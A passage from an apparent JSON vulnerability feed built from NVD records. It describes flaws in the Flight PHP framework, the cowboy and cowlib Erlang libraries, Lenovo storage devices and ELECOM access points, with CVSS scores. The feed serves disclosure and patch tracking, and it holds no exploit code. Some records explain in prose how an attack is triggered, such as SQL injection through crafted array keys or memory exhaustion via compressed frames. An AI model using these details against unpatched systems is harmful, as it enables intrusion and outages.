publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42552","cveId":"CVE-2026-42552","aliases":[],"kind":"vulnerability","title":"Flight is an extensible micro-framework for PHP.","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, the default error handler Engine::_error() writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal). This vulnerability is fixed in 3.18.1.","detail":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, the default error handler Engine::_error() writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal). This vulnerability is fixed in 3.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:22.323Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42552","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42552","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42552","type":"primary","publishedAt":"2026-05-13T20:16:22.323Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42551","cveId":"CVE-2026-42551","aliases":[],"kind":"vulnerability","title":"Flight is an extensible micro-framework for PHP.","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.","detail":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:22.190Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42551","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42551","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42551","type":"primary","publishedAt":"2026-05-13T20:16:22.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42550","cveId":"CVE-2026-42550","aliases":[],"kind":"vulnerability","title":"Flight is an extensible micro-framework for PHP.","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","detail":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db->insert('users', $request->data->getData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:22.060Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42550","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42550","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42550","type":"primary","publishedAt":"2026-05-13T20:16:22.060Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42548","cveId":"CVE-2026-42548","aliases":[],"kind":"vulnerability","title":"Flight is an extensible micro-framework for PHP.","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","detail":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:21.787Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","type":"primary","publishedAt":"2026-05-13T20:16:21.787Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8466","cveId":"CVE-2026-8466","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.","summary":"Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.\n\ncowboy_req:read_part/3 in src/cowboy_req.erl accumulates incoming request bytes into a Buffer binary with no upper-bound check. When cow_multipart:parse_headers/2 returns more or {more, Buffer2}, the function reads up to Length bytes (default 64 KB) from the request body and recurses with the enlarged buffer. There is no equivalent of the byte_size(Acc) > Length guard present in the sibling function read_part_body/4. An unauthenticated attacker can send a multipart/form-data request whose body never yields a complete header section — for example, a body that never contains the advertised boundary delimiter, or one whose header lines never contain \\r\\n\\r\\n — and force the server process to accumulate memory linearly with the bytes the protocol layer is willing to deliver. A handful of concurrent such uploads is sufficient to exhaust BEAM memory.\n\nThis issue affects cowboy from 2.0.0 before 2.15.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in ninenines cowboy allows denial of service via unbounded buffer accumulation in multipart header parsing.\n\ncowboy_req:read_part/3 in src/cowboy_req.erl accumulates incoming request bytes into a Buffer binary with no upper-bound check. When cow_multipart:parse_headers/2 returns more or {more, Buffer2}, the function reads up to Length bytes (default 64 KB) from the request body and recurses with the enlarged buffer. There is no equivalent of the byte_size(Acc) > Length guard present in the sibling function read_part_body/4. An unauthenticated attacker can send a multipart/form-data request whose body never yields a complete header section — for example, a body that never contains the advertised boundary delimiter, or one whose header lines never contain \\r\\n\\r\\n — and force the server process to accumulate memory linearly with the bytes the protocol layer is willing to deliver. A handful of concurrent such uploads is sufficient to exhaust BEAM memory.\n\nThis issue affects cowboy from 2.0.0 before 2.15.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:30.540Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8466","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8466","type":"primary","publishedAt":"2026-05-13T19:17:30.540Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43970","cveId":"CVE-2026-43970","aliases":[],"kind":"vulnerability","title":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.","summary":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.\n\ncow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.\n\nThis issue affects cowlib from 0.1.0 before 2.16.1.","detail":"Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.\n\ncow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.\n\nThis issue affects cowlib from 0.1.0 before 2.16.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:25.440Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43970","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43970","type":"primary","publishedAt":"2026-05-13T19:17:25.440Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6282","cveId":"CVE-2026-6282","aliases":[],"kind":"vulnerability","title":"A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access...","summary":"A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.","detail":"A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:17:01.960Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6282","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6282","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6282","type":"primary","publishedAt":"2026-05-13T16:17:01.960Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6281","cveId":"CVE-2026-6281","aliases":[],"kind":"vulnerability","title":"A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary...","summary":"A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device.","detail":"A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:17:01.773Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6281","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6281","type":"primary","publishedAt":"2026-05-13T16:17:01.773Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35506","cveId":"CVE-2026-35506","aliases":[],"kind":"vulnerability","title":"ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter.","summary":"ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed.","detail":"ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T13:16:40.880Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35506","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35506","type":"primary","publishedAt":"2026-05-13T13:16:40.880Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 